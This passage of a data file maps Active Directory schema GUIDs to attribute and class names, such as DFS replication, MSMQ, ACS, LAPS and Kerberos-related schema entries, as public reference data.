'135eb00e-4846-458b-8ea2-a37559afd405': 'ms-DFSR-CommonStagingSizeInMb', - '88611be1-8cf4-11d0-afda-00c04fd930c9': 'rpc-Profile', - 'f0722311-aef5-11d1-bdcf-0000f80367c1': 'ACS-Max-Size-Of-RSVP-Account-File', - '42a75fc6-783f-11d2-9916-0000f87a57d4': 'GPC-User-Extension-Names', - '9edba85a-3e9e-431b-9b1a-a5b6e9eda796': 'ms-DS-NC-Repl-Inbound-Neighbors', - '9a0dc335-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Long-Lived', - '6617188c-8f3c-11d0-afda-00c04fd930c9': 'RID-Next-RID', - 'd64b9c23-e1fa-467b-b317-6964d744d633': 'ms-DFSR-StagingCleanupTriggerInPercent', - '8e4eb2ed-4712-11d0-a1a0-00c04fd930c9': 'File-Link-Tracking-Entry', - '1cb3559d-56d0-11d1-a9c6-0000f80367c1': 'ACS-Max-Size-Of-RSVP-Log-File', - '7bd4c7a6-1add-4436-8c04-3999a880154c': 'GPC-WQL-Filter', - '855f2ef5-a1c5-4cc4-ba6d-32522848b61f': 'ms-DS-NC-Repl-Outbound-Neighbors', - '9a0dc33f-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Migrated', - '6617188a-8f3c-11d0-afda-00c04fd930c9': 'RID-Previous-Allocation-Pool', - 'b786cec9-61fd-4523-b2c1-5ceb3860bb32': 'ms-DFS-Comment-v2', - 'f29653cf-7ad0-11d0-afd6-00c04fd930c9': 'rpc-Profile-Element', - '81f6e0df-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Max-Token-Bucket-Per-Flow', - 'bf96797e-0de6-11d0-a285-00aa003049e2': 'Group-Attributes', - '97de9615-b537-46bc-ac0f-10720f3909f3': 'ms-DS-NC-Replica-Locations', - '1d2f4412-f10d-4337-9b48-6e5b125cd265': 'MSMQ-Multicast-Address', - '7bfdcb7b-4807-11d1-a9c3-0000f80367c1': 'RID-Set-References', - '35b8b3d9-c58f-43d6-930e-5040f2f1a781': 'ms-DFS-Generation-GUID-v2', - '89e31c12-8530-11d0-afda-00c04fd930c9': 'Foreign-Security-Principal', - '7f56127b-5301-11d1-a9c5-0000f80367c1': 'ACS-Max-Token-Rate-Per-Flow', - 'bf967980-0de6-11d0-a285-00aa003049e2': 'Group-Membership-SAM', - '3df793df-9858-4417-a701-735a1ecebf74': 'ms-DS-NC-RO-Replica-Locations', - '9a0dc333-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Name-Style', - '6617188b-8f3c-11d0-afda-00c04fd930c9': 'RID-Used-Pool', - '3c095e8a-314e-465b-83f5-ab8277bcf29b': 'ms-DFS-Last-Modified-v2', - '88611be0-8cf4-11d0-afda-00c04fd930c9': 'rpc-Server', - '87a2d8f9-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Maximum-SDU-Size', - 'eea65905-8ac6-11d0-afda-00c04fd930c9': 'Group-Priority', - 'f547511c-5b2a-44cc-8358-992a88258164': 'ms-DS-NC-RO-Replica-Locations-BL', - 'eb38a158-d57f-11d1-90a2-00c04fd91ab1': 'MSMQ-Nt4-Flags', - '8297931c-86d3-11d0-afda-00c04fd930c9': 'Rights-Guid', - 'edb027f3-5726-4dee-8d4e-dbf07e1ad1f1': 'ms-DFS-Link-Identity-GUID-v2', - 'c498f152-dc6b-474a-9f52-7cdba3d7d351': 'friendlyCountry', - '9c65329b-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Minimum-Delay-Variation', - '9a9a021e-4a5b-11d1-a9c3-0000f80367c1': 'Group-Type', - '2de144fc-1f52-486f-bdf4-16fcc3084e54': 'ms-DS-Non-Security-Group-Extra-Classes', - '6f914be6-d57e-11d1-90a2-00c04fd91ab1': 'MSMQ-Nt4-Stub', - 'a8df7465-c5ea-11d1-bbcb-0080c76670c0': 'Role-Occupant', - '86b021f6-10ab-40a2-a252-1dc0cc3be6a9': 'ms-DFS-Link-Path-v2', - 'f29653d0-7ad0-11d0-afd6-00c04fd930c9': 'rpc-Server-Element', - '9517fefb-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Minimum-Latency', - 'eea65904-8ac6-11d0-afda-00c04fd930c9': 'Groups-to-Ignore', - 'd161adf0-ca24-4993-a3aa-8b2c981302e8': 'MS-DS-Per-User-Trust-Quota', - '9a0dc330-c100-11d1-bbc5-0080c76670c0': 'MSMQ-OS-Type', - '81d7f8c2-e327-4a0d-91c6-b42d4009115f': 'roomNumber', - '57cf87f7-3426-4841-b322-02b3b6e9eba8': 'ms-DFS-Link-Security-Descriptor-v2', - '8447f9f3-1027-11d0-a05f-00aa006c33ed': 'FT-Dfs', - '8d0e7195-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Minimum-Policed-Size', - 'bf967982-0de6-11d0-a285-00aa003049e2': 'Has-Master-NCs', - '8b70a6c6-50f9-4fa3-a71e-1ce03040449b': 'MS-DS-Per-User-Trust-Tombstones-Quota', - '9a0dc32b-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Out-Routing-Servers', - '7bfdcb80-4807-11d1-a9c3-0000f80367c1': 'Root-Trust', - '200432ce-ec5f-4931-a525-d7f4afe34e68': 'ms-DFS-Namespace-Identity-GUID-v2', - '2a39c5be-8960-11d1-aebc-0000f80367c1': 'RRAS-Administration-Connection-Point', - 'aec2cfe3-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Max-SDU-Size', - 'bf967981-0de6-11d0-a285-00aa003049e2': 'Has-Partial-Replica-NCs', - 'd921b50a-0ab2-42cd-87f6-09cf83a91854': 'ms-DS-Preferred-GC-Site', - '9a0dc328-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Owner-ID', - '88611bde-8cf4-11d0-afda-00c04fd930c9': 'rpc-Ns-Annotation', - '0c3e5bc5-eb0e-40f5-9b53-334e958dffdb': 'ms-DFS-Properties-v2', - 'bf967a9c-0de6-11d0-a285-00aa003049e2': 'Group', - 'b6873917-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Min-Policed-Size', - '5fd424a7-1262-11d0-a060-00aa006c33ed': 'Help-Data16', - 'd7c53242-724e-4c39-9d4c-2df8c9d66c7a': 'ms-DS-Repl-Attribute-Meta-Data', - '2df90d75-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Prev-Site-Gates', - 'bf967a23-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Bindings', - 'ec6d7855-704a-4f61-9aa6-c49a7c1d54c7': 'ms-DFS-Schema-Major-Version', - 'f39b98ae-938d-11d1-aebd-0000f80367c1': 'RRAS-Administration-Dictionary', - 'a331a73f-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Peak-Rate', - '5fd424a8-1262-11d0-a060-00aa006c33ed': 'Help-Data32', - '2f5c8145-e1bd-410b-8957-8bfa81d5acfd': 'ms-DS-Repl-Value-Meta-Data', - '9a0dc327-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Privacy-Level', - '7a0ba0e0-8e98-11d0-afda-00c04fd930c9': 'rpc-Ns-Codeset', - 'fef9a725-e8f1-43ab-bd86-6a0115ce9e38': 'ms-DFS-Schema-Minor-Version', - 'bf967a9d-0de6-11d0-a285-00aa003049e2': 'Group-Of-Names', - 'a916d7c9-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Non-Reserved-Token-Size', - '5fd424a9-1262-11d0-a060-00aa006c33ed': 'Help-File-Name', - '0ea12b84-08b3-11d3-91bc-0000f87a57d4': 'MS-DS-Replicates-NC-Reason', - '9a0dc33e-c100-11d1-bbc5-0080c76670c0': 'MSMQ-QM-ID', - '80212841-4bdc-11d1-a9c4-0000f80367c1': 'rpc-Ns-Entry-Flags', - '2d7826f0-4cf7-42e9-a039-1110e0d9ca99': 'ms-DFS-Short-Name-Link-Path-v2', - 'bf967a91-0de6-11d0-a285-00aa003049e2': 'Sam-Domain-Base', - '1cb355a2-56d0-11d1-a9c6-0000f80367c1': 'ACS-Non-Reserved-Tx-Limit', - 'ec05b750-a977-4efe-8e8d-ba6c1a6e33a8': 'Hide-From-AB', - '85abd4f4-0a89-4e49-bdec-6f35bb2562ba': 'ms-DS-Replication-Notify-First-DSA-Delay', - '8e441266-d57f-11d1-90a2-00c04fd91ab1': 'MSMQ-Queue-Journal-Quota', - 'bf967a24-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Group', - '6ab126c6-fa41-4b36-809e-7ca91610d48f': 'ms-DFS-Target-List-v2', - '0310a911-93a3-4e21-a7a3-55d85ab2c48b': 'groupOfUniqueNames', - 'fe7afe45-3d14-43a7-afa7-3a1b144642af': 'ms-Mcs-AdmPwdExpirationTime', - 'f072230d-aef5-11d1-bdcf-0000f80367c1': 'ACS-Non-Reserved-Tx-Size', - 'bf967985-0de6-11d0-a285-00aa003049e2': 'Home-Directory', - 'd63db385-dd92-4b52-b1d8-0d3ecc0e86b6': 'ms-DS-Replication-Notify-Subsequent-DSA-Delay', - '2df90d87-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Queue-Name-Ext', - 'bf967a25-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Interface-ID', - 'ea944d31-864a-4349-ada5-062e2c614f5e': 'ms-DFS-Ttl-v2', - 'bf967aad-0de6-11d0-a285-00aa003049e2': 'Sam-Server', - '4c9928d7-d725-4fa6-a109-aba3ad8790e5': 'ms-Mcs-AdmPwd', - '7f561282-5301-11d1-a9c5-0000f80367c1': 'ACS-Permission-Bits', - 'bf967986-0de6-11d0-a285-00aa003049e2': 'Home-Drive', - '08e3aa79-eb1c-45b5-af7b-8f94246c8e41': 'ms-DS-ReplicationEpoch', - '3f6b8e12-d57f-11d1-90a2-00c04fd91ab1': 'MSMQ-Queue-Quota', - '29401c48-7a27-11d0-afd6-00c04fd930c9': 'rpc-Ns-Object-ID', - '3ced1465-7b71-2541-8780-1e1ea6243a82': 'ms-DS-BridgeHead-Servers-Used', - 'f30e3bc2-9ff0-11d1-b603-0000f80367c1': 'Group-Policy-Container', - '1cb3559a-56d0-11d1-a9c6-0000f80367c1': 'ACS-Policy-Name', - 'a45398b7-c44a-4eb6-82d3-13c10946dbfe': 'houseIdentifier', - 'd5b35506-19d6-4d26-9afb-11357ac99b5e': 'ms-DS-Retired-Repl-NC-Signatures', - '9a0dc320-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Queue-Type', - 'bf967a27-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Priority', - '51c9f89d-4730-468d-a2b5-1d493212d17e': 'ms-DS-Is-Used-As-Resource-Security-Attribute', - 'bf967aae-0de6-11d0-a285-00aa003049e2': 'Secret', - '7f561281-5301-11d1-a9c5-0000f80367c1': 'ACS-Priority', - '6043df71-fa48-46cf-ab7c-cbd54644b22d': 'host', - 'b39a61be-ed07-4cab-9a4a-4963ed0141e1': 'ms-ds-Schema-Extensions', - '9a0dc322-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Quota', - 'bf967a28-0de6-11d0-a285-00aa003049e2': 'rpc-Ns-Profile-Entry', - '2e28edee-ed7c-453f-afe4-93bd86f2174f': 'ms-DS-Claim-Possible-Values', - '7bfdcb8a-4807-11d1-a9c3-0000f80367c1': 'Index-Server-Catalog', - 'f072230f-aef5-11d1-bdcf-0000f80367c1': 'ACS-RSVP-Account-Files-Location', - 'f0f8ff83-1191-11d0-a060-00aa006c33ed': 'Icon-Path', - '4c51e316-f628-43a5-b06b-ffb695fcb4f3': 'ms-DS-SD-Reference-Domain', - '3bfe6748-b544-485a-b067-1b310c4334bf': 'MSMQ-Recipient-FormatName', - '29401c4a-7a27-11d0-afd6-00c04fd930c9': 'rpc-Ns-Transfer-Syntax', - 'c66217b9-e48e-47f7-b7d5-6552b8afd619': 'ms-DS-Claim-Value-Type', - '4828cc14-1437-45bc-9b07-ad6f015e5f28': 'inetOrgPerson', - 'bf967aaf-0de6-11d0-a285-00aa003049e2': 'Security-Object', - '1cb3559b-56d0-11d1-a9c6-0000f80367c1': 'ACS-RSVP-Log-Files-Location', - '7d6c0e92-7e20-11d0-afd6-00c04fd930c9': 'Implemented-Categories', - '4f146ae8-a4fe-4801-a731-f51848a4f4e4': 'ms-DS-Security-Group-Extra-Classes', - '2df90d81-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Routing-Service', - '3e0abfd0-126a-11d0-a060-00aa006c33ed': 'SAM-Account-Name', - 'eebc123e-bae6-4166-9e5b-29884a8b76b0': 'ms-DS-Claim-Attribute-Source', - '7f56127f-5301-11d1-a9c5-0000f80367c1': 'ACS-Service-Type', - '7bfdcb87-4807-11d1-a9c3-0000f80367c1': 'IndexedScopes', - '0e1b47d7-40a3-4b48-8d1b-4cac0c1cdf21': 'ms-DS-Settings', - '2df90d77-009f-11d2-aa4c-00c04fd7d83a': 'MSMQ-Routing-Services', - '6e7b626c-64f2-11d0-afd2-00c04fd930c9': 'SAM-Account-Type', - '6afb0e4c-d876-437c-aeb6-c3e41454c272': 'ms-DS-Claim-Type-Applies-To-Class', - '2df90d89-009f-11d2-aa4c-00c04fd7d83a': 'Infrastructure-Update', - 'bf967a92-0de6-11d0-a285-00aa003049e2': 'Server', - '7f561279-5301-11d1-a9c5-0000f80367c1': 'ACS-Time-Of-Day', - '52458023-ca6a-11d0-afff-0000f80367c1': 'Initial-Auth-Incoming', - 'c17c5602-bcb7-46f0-9656-6370ca884b72': 'ms-DS-Site-Affinity', - '8bf0221b-7a06-4d63-91f0-1499941813d3': 'MSMQ-Secured-Source', - '04d2d114-f799-4e9b-bcdc-90e8f5ba7ebe': 'SAM-Domain-Updates', - '52c8d13a-ce0b-4f57-892b-18f5a43a2400': 'ms-DS-Claim-Shares-Possible-Values-With', - '7f561280-5301-11d1-a9c5-0000f80367c1': 'ACS-Total-No-Of-Flows', - '52458024-ca6a-11d0-afff-0000f80367c1': 'Initial-Auth-Outgoing', - '789ee1eb-8c8e-4e4c-8cec-79b31b7617b5': 'ms-DS-SPN-Suffixes', - '9a0dc32d-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Service-Type', - 'dd712224-10e4-11d0-a05f-00aa006c33ed': 'Schedule', - '54d522db-ec95-48f5-9bbd-1880ebbb2180': 'ms-DS-Claim-Shares-Possible-Values-With-BL', - '07383086-91df-11d1-aebc-0000f80367c1': 'Intellimirror-Group', - 'f780acc0-56f0-11d1-a9c6-0000f80367c1': 'Servers-Container', - '7cbd59a5-3b90-11d2-90cc-00c04fd91ab1': 'ACS-Server-List', - 'f0f8ff90-1191-11d0-a060-00aa006c33ed': 'Initials', - '35319082-8c4a-4646-9386-c2949d49894d': 'ms-DS-Tasks-For-Az-Role', - '9a0dc33d-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Services', - 'bf967a2b-0de6-11d0-a285-00aa003049e2': 'Schema-Flags-Ex', - '4d371c11-4cad-4c41-8ad2-b180ab2bd13c': 'ms-DS-Members-Of-Resource-Property-List', - '6d05fb41-246b-11d0-a9c8-00aa006c33ed': 'Additional-Information', - '96a7dd64-9118-11d1-aebc-0000f80367c1': 'Install-Ui-Level', - 'a0dcd536-5158-42fe-8c40-c00a7ad37959': 'ms-DS-Tasks-For-Az-Role-BL', - '9a0dc33b-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Sign-Certificates', - 'bf967923-0de6-11d0-a285-00aa003049e2': 'Schema-ID-GUID', - '7469b704-edb0-4568-a5a5-59f4862c75a7': 'ms-DS-Members-Of-Resource-Property-List-BL', - '07383085-91df-11d1-aebc-0000f80367c1': 'Intellimirror-SCP', - 'b7b13123-b82e-11d0-afee-0000f80367c1': 'Service-Administration-Point', - '032160be-9824-11d1-aec0-0000f80367c1': 'Additional-Trusted-Service-Names', - 'bf96798c-0de6-11d0-a285-00aa003049e2': 'Instance-Type', - 'b11c8ee2-5fcd-46a7-95f0-f38333f096cf': 'ms-DS-Tasks-For-Az-Task', - '3881b8ea-da3b-11d1-90a5-00c04fd91ab1': 'MSMQ-Sign-Certificates-Mig', - 'f9fb64ae-93b4-11d2-9945-0000f87a57d4': 'Schema-Info', - 'b47f510d-6b50-47e1-b556-772c79e4ffc4': 'ms-SPP-CSVLK-Pid', - 'f0f8ff84-1191-11d0-a060-00aa006c33ed': 'Address', - 'b7c69e60-2cc7-11d2-854e-00a0c983f608': 'Inter-Site-Topology-Failover', - 'df446e52-b5fa-4ca2-a42f-13f98a526c8f': 'ms-DS-Tasks-For-Az-Task-BL', - '9a0dc332-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Sign-Key', - '1e2d06b4-ac8f-11d0-afe3-00c04fd930c9': 'Schema-Update', - 'a601b091-8652-453a-b386-87ad239b7c08': 'ms-SPP-CSVLK-Partial-Product-Key', - '26d97376-6070-11d1-a9c6-0000f80367c1': 'Inter-Site-Transport', - 'bf967ab1-0de6-11d0-a285-00aa003049e2': 'Service-Class', - 'f70b6e48-06f4-11d2-aa53-00c04fd7d83a': 'Address-Book-Roots', - 'b7c69e5e-2cc7-11d2-854e-00a0c983f608': 'Inter-Site-Topology-Generator', - '2cc4b836-b63f-4940-8d23-ea7acf06af56': 'ms-DS-User-Account-Control-Computed', - '9a0dc337-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-1', - 'bf967a2c-0de6-11d0-a285-00aa003049e2': 'Schema-Version', - '9684f739-7b78-476d-8d74-31ad7692eef4': 'ms-SPP-CSVLK-Sku-Id', - '5fd42461-1262-11d0-a060-00aa006c33ed': 'Address-Entry-Display-Table', - 'b7c69e5f-2cc7-11d2-854e-00a0c983f608': 'Inter-Site-Topology-Renew', - 'add5cf10-7b09-4449-9ae6-2534148f8a72': 'ms-DS-User-Password-Expiry-Time-Computed', - '9a0dc338-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-2', - '16f3a4c2-7e79-11d2-9921-0000f87a57d4': 'Scope-Flags', - '9b663eda-3542-46d6-9df0-314025af2bac': 'ms-SPP-KMS-Ids', - '26d97375-6070-11d1-a9c6-0000f80367c1': 'Inter-Site-Transport-Container', - '28630ec1-41d5-11d1-a9c1-0000f80367c1': 'Service-Connection-Point', - '5fd42462-1262-11d0-a060-00aa006c33ed': 'Address-Entry-Display-Table-MSDOS', - 'bf96798d-0de6-11d0-a285-00aa003049e2': 'International-ISDN-Number', - '146eb639-bb9f-4fc1-a825-e29e00c77920': 'ms-DS-UpdateScript', - 'fd129d8a-d57e-11d1-90a2-00c04fd91ab1': 'MSMQ-Site-Foreign', - 'bf9679a8-0de6-11d0-a285-00aa003049e2': 'Script-Path', - '69bfb114-407b-4739-a213-c663802b3e37': 'ms-SPP-Installation-Id', - '16775781-47f3-11d1-a9c3-0000f80367c1': 'Address-Home', - 'bf96798e-0de6-11d0-a285-00aa003049e2': 'Invocation-Id', - '773e93af-d3b4-48d4-b3f9-06457602d3d0': 'ms-DS-Source-Object-DN', - '9a0dc339-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-Gates', - 'c3dbafa6-33df-11d2-98b2-0000f87a57d4': 'SD-Rights-Effective', - '6e8797c4-acda-4a49-8740-b0bd05a9b831': 'ms-SPP-Confirmation-Id', - 'b40ff825-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Base', - 'bf967ab2-0de6-11d0-a285-00aa003049e2': 'Service-Instance', - '5fd42463-1262-11d0-a060-00aa006c33ed': 'Address-Syntax', - 'b40ff81f-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Data', - '778ff5c9-6f4e-4b74-856a-d68383313910': 'ms-DS-KrbTgt-Link', - 'e2704852-3b7b-11d2-90cc-00c04fd91ab1': 'MSMQ-Site-Gates-Mig', - 'bf967a2d-0de6-11d0-a285-00aa003049e2': 'Search-Flags', - '098f368e-4812-48cd-afb7-a136b96807ed': 'ms-SPP-Online-License', - '5fd42464-1262-11d0-a060-00aa006c33ed': 'Address-Type', - 'b40ff81e-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Data-Type', - '185c7821-3749-443a-bd6a-288899071adb': 'ms-DS-Revealed-Users', - '9a0dc340-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Site-ID', - 'bf967a2e-0de6-11d0-a285-00aa003049e2': 'Search-Guide', - '67e4d912-f362-4052-8c79-42f45ba7b221': 'ms-SPP-Phone-License', - 'b40ff826-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Filter', - '5fe69b0b-e146-4f15-b0ab-c1e5d488e094': 'simpleSecurityObject', - '553fd038-f32e-11d0-b0bc-00c04fd8dca6': 'Admin-Context-Menu', - 'b40ff823-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Filter-Reference', - '1d3c2d18-42d0-4868-99fe-0eca1e6fa9f3': 'ms-DS-Has-Full-Replica-NCs', - 'ffadb4b2-de39-11d1-90a5-00c04fd91ab1': 'MSMQ-Site-Name', - '01072d9a-98ad-4a53-9744-e83e287278fb': 'secretary', - '0353c4b5-d199-40b0-b3c5-deb32fd9ec06': 'ms-SPP-Config-License', - 'bf967918-0de6-11d0-a285-00aa003049e2': 'Admin-Count', - 'b40ff81d-427a-11d1-a9c2-0000f80367c1': 'Ipsec-ID', - '15585999-fd49-4d66-b25d-eeb96aba8174': 'ms-DS-Never-Reveal-Group', - '422144fa-c17f-4649-94d6-9731ed2784ed': 'MSMQ-Site-Name-Ex', - 'bf967a2f-0de6-11d0-a285-00aa003049e2': 'Security-Identifier', - '1075b3a1-bbaf-49d2-ae8d-c4f25c823303': 'ms-SPP-Issuance-License', - 'b40ff828-427a-11d1-a9c2-0000f80367c1': 'Ipsec-ISAKMP-Policy', - 'bf967ab3-0de6-11d0-a285-00aa003049e2': 'Site', - 'bf967919-0de6-11d0-a285-00aa003049e2': 'Admin-Description', - 'b40ff820-427a-11d1-a9c2-0000f80367c1': 'Ipsec-ISAKMP-Reference', - '303d9f4a-1dd6-4b38-8fc5-33afe8c988ad': 'ms-DS-Reveal-OnDemand-Group', - '9a0dc32a-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Sites', - 'bf967a31-0de6-11d0-a285-00aa003049e2': 'See-Also', - '19d706eb-4d76-44a2-85d6-1c342be3be37': 'ms-TPM-Srk-Pub-Thumbprint', - 'bf96791a-0de6-11d0-a285-00aa003049e2': 'Admin-Display-Name', - 'b40ff81c-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Name', - 'aa156612-2396-467e-ad6a-28d23fdb1865': 'ms-DS-Secondary-KrbTgt-Number', - '9a0dc329-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Transactional', - 'ddac0cf2-af8f-11d0-afeb-00c04fd930c9': 'Seq-Notification', - 'c894809d-b513-4ff8-8811-f4f43f5ac7bc': 'ms-TPM-Owner-Information-Temp', - 'b40ff827-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Negotiation-Policy', - 'd50c2cde-8951-11d1-aebc-0000f80367c1': 'Site-Link', - '18f9b67d-5ac6-4b3b-97db-d0a406afb7ba': 'Admin-Multiselect-Property-Pages', - '07383075-91df-11d1-aebc-0000f80367c1': 'IPSEC-Negotiation-Policy-Action', - '94f6f2ac-c76d-4b5e-b71f-f332c3e93c22': 'ms-DS-Revealed-DSAs', - 'c58aae32-56f9-11d2-90d0-00c04fd91ab1': 'MSMQ-User-Sid', - 'bf967a32-0de6-11d0-a285-00aa003049e2': 'Serial-Number', - 'ea1b7b93-5e48-46d5-bc6c-4df4fda78a35': 'ms-TPM-Tpm-Information-For-Computer', - '52458038-ca6a-11d0-afff-0000f80367c1': 'Admin-Property-Pages', - 'b40ff822-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Negotiation-Policy-Reference', - '5dd68c41-bfdf-438b-9b5d-39d9618bf260': 'ms-DS-KrbTgt-Link-BL', - '9a0dc336-c100-11d1-bbc5-0080c76670c0': 'MSMQ-Version', - '09dcb7a0-165f-11d0-a064-00aa006c33ed': 'Server-Name', - '14fa84c9-8ecd-4348-bc91-6d3ced472ab7': 'ms-TPM-Tpm-Information-For-Computer-BL', - 'b40ff829-427a-11d1-a9c2-0000f80367c1': 'Ipsec-NFA', - 'd50c2cdf-8951-11d1-aebc-0000f80367c1': 'Site-Link-Bridge', - '9a7ad940-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Attributes', - '07383074-91df-11d1-aebc-0000f80367c1': 'IPSEC-Negotiation-Policy-Type', - 'c8bc72e0-a6b4-48f0-94a5-fd76a88c9987': 'ms-DS-Is-Full-Replica-For', - 'db0c9085-c1f2-11d1-bbc5-0080c76670c0': 'msNPAllowDialin', - '26d9736d-6070-11d1-a9c6-0000f80367c1': 'Server-Reference', - '0be0dd3b-041a-418c-ace9-2f17d23e9d42': 'ms-DNS-Keymaster-Zones', - '9a7ad941-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Attributes-Effective', - 'b40ff821-427a-11d1-a9c2-0000f80367c1': 'Ipsec-NFA-Reference', - 'ff155a2a-44e5-4de0-8318-13a58988de4f': 'ms-DS-Is-Domain-For', - 'db0c9089-c1f2-11d1-bbc5-0080c76670c0': 'msNPCalledStationID', - '26d9736e-6070-11d1-a9c6-0000f80367c1': 'Server-Reference-BL', - 'aa12854c-d8fc-4d5e-91ca-368b8d829bee': 'ms-DNS-Is-Signed', - 'b7b13121-b82e-11d0-afee-0000f80367c1': 'Ipsec-Policy', - '7a4117da-cd67-11d0-afff-0000f80367c1': 'Sites-Container', - '9a7ad942-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Child-Classes', - 'b40ff824-427a-11d1-a9c2-0000f80367c1': 'Ipsec-Owners-Reference', - '37c94ff6-c6d4-498f-b2f9-c6f7f8647809': 'ms-DS-Is-Partial-Replica-For', - 'db0c908a-c1f2-11d1-bbc5-0080c76670c0': 'msNPCallingStationID', - 'bf967a33-0de6-11d0-a285-00aa003049e2': 'Server-Role', - 'c79f2199-6da1-46ff-923c-1f3f800c721e': 'ms-DNS-Sign-With-NSEC3', - '9a7ad943-ca53-11d1-bbd0-0080c76670c0': 'Allowed-Child-Classes-Effective', - 'b7b13118-b82e-11d0-afee-0000f80367c1': 'Ipsec-Policy-Reference', - 'fe01245a-341f-4556-951f-48c033a89050': 'ms-DS-Is-User-Cachable-At-Rodc', - 'db0c908e-c1f2-11d1-bbc5-0080c76670c0': 'msNPSavedCallingStationID', - 'bf967a34-0de6-11d0-a285-00aa003049e2': 'Server-State', - '7bea2088-8ce2-423c-b191-66ec506b1595': 'ms-DNS-NSEC3-OptOut', - 'bf967a9e-0de6-11d0-a285-00aa003049e2': 'Leaf', - 'bf967ab5-0de6-11d0-a285-00aa003049e2': 'Storage', - '00fbf30c-91fe-11d1-aebc-0000f80367c1': 'Alt-Security-Identities', - '00fbf30d-91fe-11d1-aebc-0000f80367c1': 'Is-Critical-System-Object', - 'cbdad11c-7fec-387b-6219-3a0627d9af81': 'ms-DS-Revealed-List', - 'db0c909c-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSCallbackNumber', - 'b7b1311c-b82e-11d0-afee-0000f80367c1': 'Service-Binding-Information', - '0dc063c1-52d9-4456-9e15-9c2434aafd94': 'ms-DNS-Maintain-Trust-Anchor', - '45b01500-c419-11d1-bbc9-0080c76670c0': 'ANR', - '28630ebe-41d5-11d1-a9c1-0000f80367c1': 'Is-Defunct', - 'aa1c88fd-b0f6-429f-b2ca-9d902266e808': 'ms-DS-Revealed-List-BL', - 'db0c90a4-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSFramedIPAddress', - 'bf967a35-0de6-11d0-a285-00aa003049e2': 'Service-Class-ID', - '5c5b7ad2-20fa-44bb-beb3-34b9c0f65579': 'ms-DNS-DS-Record-Algorithms', - '1be8f17d-a9ff-11d0-afe2-00c04fd930c9': 'Licensing-Site-Settings', - 'b7b13124-b82e-11d0-afee-0000f80367c1': 'Subnet', - '96a7dd65-9118-11d1-aebc-0000f80367c1': 'App-Schema-Version', - 'bf96798f-0de6-11d0-a285-00aa003049e2': 'Is-Deleted', - '011929e6-8b5d-4258-b64a-00b0b4949747': 'ms-DS-Last-Successful-Interactive-Logon-Time', - 'db0c90a9-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSFramedRoute', - 'bf967a36-0de6-11d0-a285-00aa003049e2': 'Service-Class-Info', - '27d93c40-065a-43c0-bdd8-cdf2c7d120aa': 'ms-DNS-RFC5011-Key-Rollovers', - 'dd712226-10e4-11d0-a05f-00aa006c33ed': 'Application-Name', - 'f4c453f0-c5f1-11d1-bbcb-0080c76670c0': 'Is-Ephemeral', - 'c7e7dafa-10c3-4b8b-9acd-54f11063742e': 'ms-DS-Last-Failed-Interactive-Logon-Time', - 'db0c90b6-c1f2-11d1-bbc5-0080c76670c0': 'msRADIUSServiceType', - 'b7b1311d-b82e-11d0-afee-0000f80367c1': 'Service-Class-Name', - 'ff9e5552-7db7-4138-8888-05ce320a0323': 'ms-DNS-NSEC3-Hash-Algorithm', - 'ddac0cf5-af8f-11d0-afeb-00c04fd930c9': 'Link-Track-Object-Move-Table', - 'b7b13125-b82e-11d0-afee-0000f80367c1': 'Subnet-Container', - '8297931d-86d3-11d0-afda-00c04fd930c9': 'Applies-To', - 'bf967991-0de6-11d0-a285-00aa003049e2': 'Is-Member-Of-DL', - 'dc3ca86f-70ad-4960-8425-a4d6313d93dd': 'ms-DS-Failed-Interactive-Logon-Count', - 'db0c90c5-c1f2-11d1-bbc5-0080c76670c0': 'msRASSavedCallbackNumber', - '28630eb8-41d5-11d1-a9c1-0000f80367c1': 'Service-DNS-Name', - '13361665-916c-4de7-a59d-b1ebbd0de129': 'ms-DNS-NSEC3-Random-Salt-Length', - 'ba305f75-47e3-11d0-a1a6-00c04fd930c9': 'Asset-Number', - '19405b9d-3cfa-11d1-a9c0-0000f80367c1': 'Is-Member-Of-Partial-Attribute-Set', - 